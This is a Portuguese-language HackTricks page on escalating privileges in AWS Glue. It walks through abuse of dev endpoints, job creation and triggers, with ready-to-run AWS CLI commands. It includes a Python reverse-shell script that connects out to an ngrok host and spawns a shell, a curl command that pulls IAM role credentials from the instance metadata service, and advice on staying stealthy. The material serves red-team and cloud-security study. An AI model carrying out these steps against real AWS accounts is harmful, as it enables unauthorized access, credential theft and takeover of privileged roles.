AWS - Glue Privesc

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Usuários com essas permissões podem criar um novo development endpoint do AWS Glue, atribuir a esse endpoint uma service role existente que possa ser assumida pelo Glue com permissões específicas.

Após a configuração, o atacante pode fazer SSH na instância do endpoint, e roubar as credenciais IAM da role atribuída:

bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Para fins de furtividade, recomenda-se usar as credenciais IAM de dentro da máquina virtual do Glue.

Impacto Potencial: Privesc para a role de serviço do Glue especificada.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Usuários com essa permissão podem alterar a chave SSH de um endpoint de desenvolvimento do Glue existente, permitindo acesso SSH a ele. Isso permite que o atacante execute comandos com os privilégios da role anexada ao endpoint:

bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Impacto Potencial: Privesc para a função de serviço do glue usada.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Usuários com iam:PassRole combinado com qualquer uma de glue:CreateJob ou glue:UpdateJob, e qualquer uma de glue:StartJobRun ou glue:CreateTrigger podem criar ou atualizar um job do AWS Glue, anexando qualquer conta de serviço do Glue, e iniciar a execução do job. As capacidades do job incluem executar código Python arbitrário, o que pode ser explorado para estabelecer uma reverse shell. Essa reverse shell pode então ser utilizada para exfiltrar as IAM credentials da role anexada ao job do Glue, levando a acesso não autorizado ou ações com base nas permissões dessa role:

bash
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Impacto Potencial: Privesc para o role de serviço glue especificado.

glue:UpdateJob

Apenas com a permissão update, um atacante poderia roubar as IAM Credentials do role já anexado.

Impacto Potencial: Privesc para o role de serviço glue anexado.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks